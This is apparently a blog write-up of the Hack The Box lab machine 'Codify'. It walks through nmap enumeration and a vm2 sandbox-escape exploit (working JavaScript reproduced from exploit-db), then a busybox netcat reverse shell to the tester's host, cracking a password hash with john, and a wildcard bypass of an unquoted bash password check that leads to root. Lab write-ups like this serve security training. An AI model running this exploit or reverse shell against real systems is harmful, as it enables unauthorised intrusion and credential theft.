# Codify

Hack-The-Box 20 / 72
4 min read
HTB Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. MySQL Wildcard Injection Abusing shell wildcard expansion (e.g. tar's '--checkpoint-action') to smuggle arguments into a privileged command.
Table of Contents
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Codify
  • OS Type: Linux
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.94SVN scan initiated Fri Apr 18 08:02:50 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2025-04-18 08:02:51 EDT for 109s
Not shown: 65518 closed tcp ports (reset), 14 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
| 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http syn-ack ttl 63 Node.js Express framework
|_http-title: Codify
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 18 08:04:40 2025 -- 1 IP address (1 host up) scanned in 110.47 seconds

Enumeration

Port 80/HTTP

port 80 is open on target machine, let’s visit the website in firefox

image.png

Uh! so it requires hostname, let’s edit /etc/hosts file and add the codify.htb points to 10.10.11.239

after editing refresh the page

image.png

Ok so the website allows users to run their code in sandbox environment, let’s check it

image.png

let’s run the feroxbuster for files/directories fuzzing

image.png

we found interesting /limitations endpoint let’s navigate to /limitations

image.png

so it says some modules have been restricted to import and given the list of the whitelisted modules, it can be useful to search for specific module related code execution or exploit

whitelisted modules are:

url
crypto
util
events
assert
stream
path
os
zlib

we can use os module to retrieve hostname using below code

const os = require('node:os');
console.log("Hostname: " + os.hostname());
image.png

clicking on the About Us page we found the sandboxing library name used by the application

image.png

https://github.com/patriksimek/vm2/releases/tag/3.9.16

searching on google i found the sandbox escape vulnerability

https://www.exploit-db.com/exploits/51898

const { VM } = require("vm2");
const vm = new VM();
const command = 'id'; // Change to the desired command
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
try {
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy({}, handler);
throw proxiedErr;
} catch ({ constructor: c }) {
const childProcess = c.constructor('return process')().mainModule.require('child_process');
childProcess.execSync('${command}');
}
`;
console.log(vm.run(code));

above code will escape the sandbox environment and run command through child_process module

image.png

Bingo!! it executed the command - id let’s get shell using busybox nc 10.10.14.17 443 -e /bin/bash and start listener on port 443 using rlwrap -r nc -nvlp 443

image.png

great we now have a shell, let’s get proper tty shell using,

python3 -c 'import pty;pty.spawn("/bin/bash");'

after gaining proper shell we start enumerating the system we found interesting /var/www/contact folder

image.png

it contains the sqlite database file let’s open databse using sqlite3 tickets.db command

to view the tables in the database use .tables

image.png

we found users table, use select * from users; and we found joshua user’s password

i’ll use john to crack the hash

john joshua.hash --wordlist=/usr/share/wordlists/rockyou.txt
image.png

nice we got the password for joshua user, let’s ssh to the machine

ssh joshua@10.10.11.239
image.png

after gaining access as joshua i’ll first check the sudo permissions using sudo -l command

image.png

we don’t have the write permissions to mysql-backup.sh file, let’s read the code of the script

image.png

Now when analyzing the file i found that the if-statement code block is not secure and can be bypass

now reading further i found that while comparing variable values in bash if the variable is not quoted then bash treats as the pattern matching instead of exect string matching so the thing is if you don’t quote the variables , they will be compare as pattern and not as string, so the comparison can result true for example if the value of the a variable is anything like “_0xh3x” and the b variable can be the pattern or regex character ” * “ (wildcard) so this can cause bypassing of the if condition 

let’s check this i’ll provide the password * and see if it bypass or not

image.png

and yes we can!! do the the so called bypassing of the password checking!!

now we bypassed the password so all commands get executed and we can monitor processes using pspy64 to get the db password

launch another session and load the pspy and execute the script

image.png

who says if you store passwords in the ENV vars hacker can’t see it we can!! 😈

let’s use this password for root and if not works i’ll use it to connect to mysql

image.png

and we are ROOT!

Next: Cypher
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


Related Writeups

# Soccer

Hack-The-Box 64 / 72
6 min read

Linux Easy machine - Soccer.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL SUID A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. SQLi SQL Injection — manipulating database queries via unsanitized input to read or alter data.

# TheFrizz

Hack-The-Box 67 / 72
11 min read

Windows Easy machine - TheFrizz.

HTB Active Directory Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. CVE A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP GPO Group Policy Object — a Windows domain-wide configuration mechanism, abusable for code execution across all machines. SMB Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. BloodHound A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Password Spraying Trying one common password against many usernames to avoid account lockouts. LFI Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL

# Dog

Hack-The-Box 23 / 72
3 min read

Linux Linux machine - Dog.

HTB RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL Git

# Jarvis

Hack-The-Box 33 / 72
5 min read

Linux Medium machine - Jarvis.

HTB RCE Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL SUID A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

Comments